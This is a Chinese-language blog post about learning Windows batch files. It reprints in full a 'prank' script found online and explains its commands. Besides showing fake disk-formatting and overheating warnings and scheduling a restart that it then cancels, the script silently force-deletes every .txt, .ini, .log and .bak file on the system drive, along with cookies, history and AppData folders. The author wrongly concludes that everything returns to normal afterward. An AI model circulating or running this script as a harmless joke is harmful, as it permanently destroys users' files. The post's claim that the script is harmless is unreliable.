对一个恶搞的批处理文件的学习

来源:互联网 发布:网络电话回拨软件 编辑:程序博客网 时间:2024/05/22 01:37

在网上看到一个恶搞的bat文件代码,开始并不知道bat文件是啥。bat文件是dos下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。

在DOS下有许多有意思的命令,这里一个网上抄到的一个恶搞的代码,开始我的bat文件的学习,恶搞代码如下:

@echo off color 4f taskkill /im explorer.exe /f echo 删除C盘所有文件...... del /f /s /q "%systemdrive%\*.tmp" del /f /s /q "%systemdrive%\*.dmp" del /f /s /q "%systemdrive%\*._mp" del /f /s /q "%systemdrive%\*.gid" del /f /s /q "%systemdrive%\*.old" del /f /s /q "%systemdrive%\*.chk" del /f /s /q "%systemdrive%\*.bak" del /f /s /q "%systemdrive%\*.log" del /f /s /q "%systemdrive%\*.txt" del /f /s /q "%systemdrive%\*.ini" del /f /s /q "%systemdrive%\Recycled\*.*" del /f /s /q "%systemdrive%\RECYCLER\*.*" del /f /s /q "%windir%\inf\*.pnf" del /f /s /q "%windir%\Prefetch\*.*" @ping -n 2 127.1>nul rd /s /q "%windir%\Downloaded Program Files" & md "%windir%\Downloaded Program Files" @ping -n 2 127.1>nul rd /s /q "%windir%\LastGood" & md "%windir%\LastGood" @ping -n 2 127.1>nul rd /s /q "%windir%\Offline Web Pages" & md "%windir%\Offline Web Pages" @ping -n 2 127.1>nul rd /s /q "%windir%\SoftwareDistribution\Download" & md "%windir%\SoftwareDistribution\Download" @ping -n 2 127.1>nul rd /s /q "%windir%\temp" & md "%windir%\temp" @ping -n 2 127.1>nul rd /s /q "%userprofile%\Local Settings\Application Data\Microsoft\Media Player" & md "%windir%\Local Settings\Application Data\Microsoft\Media Player" @ping -n 2 127.1>nul rd /s /q "%userprofile%\UserData" & md "%windir%\UserData" @ping -n 2 127.1>nul rd /s /q "%appdata%\Adobe" & md "%windir%\Adobe" @ping -n 2 127.1>nul rd /s /q "%appdata%\Macromedia" & md "%windir%\Macromedia" @ping -n 2 127.1>nul rd /s /q "%appdata%\Microsoft\Media Player" & md "%windir%\Microsoft\Media Player" @ping -n 2 127.1>nul rd /s /q "%appdata%\Microsoft\Office\Recent" & md "%windir%\Microsoft\Office\Recent" @ping -n 5 127.1>nul del /a /f /s /q "%userprofile%\Cookies\*.*" del /a /f /s /q "%userprofile%\Recent\*.*" del /a /f /s /q "%userprofile%\Local Settings\Application Data\GDIPFONTCACHEV1.dat" del /a /f /s /q "%userprofile%\Local Settings\Application Data\IconCache.db" del /a /f /s /q "%userprofile%\Local Settings\History\*.*" del /a /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /a /f /s /q "%temp%\*.*" del /a /f /s /q "%userprofile%\AppData\Local\GDIPFONTCACHEV1.dat" del /a /f /s /q "%userprofile%\AppData\Local\IconCache.db" del /a /f /s /q "%userprofile% \AppData\Local\Microsoft\Windows\History\*.*" del /a /f /s /q "%userprofile% \AppData\Local\Microsoft\Windows\Temporary Internet Files\*.*" del /a /f /s /q "%userprofile% \AppData\Roaming\Microsoft\Windows\Cookies\*.*" del /a /f /s /q "%userprofile% \AppData\Roaming\Microsoft\Windows\Recent\*.*" echo 已删除完毕 @echo. echo 删除D盘所有文件...... @ping -n 3 127.1>nul @echo 已删除完毕 @echo. echo 删除E盘所有文件...... @ping -n 3 127.1>nul echo 已删除完毕 @echo. echo 正在低级格式化全部硬盘...... @ping -n 3 127.1>nul echo. echo 正在 进行二次 低格硬盘...... ping -n 3 127.1>nul echo. echo 正在 进行三次 低格硬盘...... ping -n 3 127.1>nul echo. echo 正在 进行四次 低格硬盘...... ping -n 3 127.1>nul echo. echo 正在 进行五次 低格硬盘...... ping -n 3 127.1>nul echo. echo 注意: cpu温度127度!温度过高报警!!! echo. ping -n 2 127.1>nul echo 注意: 硬盘温度86度!温度过高报警!!! echo. ping -n 2 127.1>nul echo 注意: 显卡温度96度!温度过高报警!!! echo. ping -n 2 127.1>nul echo 注意: 系统崩溃, 主板温度 超过临界值!!! echo. echo 注意: 电容负荷超过99% echo. & pause echo 电脑将在60秒内崩溃或爆炸!请勿强行关闭电源!否则会 导致cpu和硬盘彻底损毁!! shutdown /r /t 60 /c "电脑将在60秒内崩溃或爆炸!请勿强行关闭电源!否则会 导致cpu和硬盘彻底损毁!!" ping -n 30 127.1>nul shutdown -a start explorer.exe exit

通过对这些命令和一些参数去cmd下查看帮助(cmd下输入命令 /? 即可看到详细注意和对应的参数列表),不过这里还是有一些不太了解的知识要去整理。

color 4f :2个16进制数,一个代表背景,一个代表字的颜色。

taskkill /im explorer.exe /f:explorer.exe是Windows程序管理器或者文件资源管理器,它用于管理Windows图形壳,包括桌面和文件管理,删除该程序会导致Windows图形界面无法使用。(如果结束了可以利用任务管理器单击【文件】菜单中的【新建任务(运行......)】命令,打开【创建新任务】对话框,键入【explorer.exe】,单击【确定】按钮或者,cmd下运行start explorer.exe均可再次创建该进程

del /f /s /q "%systemdrive%\*.tmp" :%systemdrive% 代表系统盘,通常为C:\

*.tmp 所有的临时文件,*是通配符,tmp是临时文件的扩展名。

命令执行的结果就是删除系统盘所有的临时文件。想删别的盘的文件,把%systemdrive%\改成别的盘符,如D:\等等。

del /f /s /q "%windir%\inf\*.pnf" %Windir%是一个变量,它指的是操作系统安装目录,默认是:“C:\Windows”或:“c:\Winnt”,

 ping -n 2 127.1>nul :-n后面定义发送数据包的数量,127.0.0.1是一个本机ip,不管是否有连网,只要电脑上有网卡这个ip就存在,常有人用这个ping命令来测试网卡是否完好,127.1是化简版本

pause,即和system(“pause”)按任意键继续,以及最后的shutdown命令的使用,和start 创建一个进程,最后exit。因此运行以上脚本的结果应该是一阵恶搞之后恢复正常情况。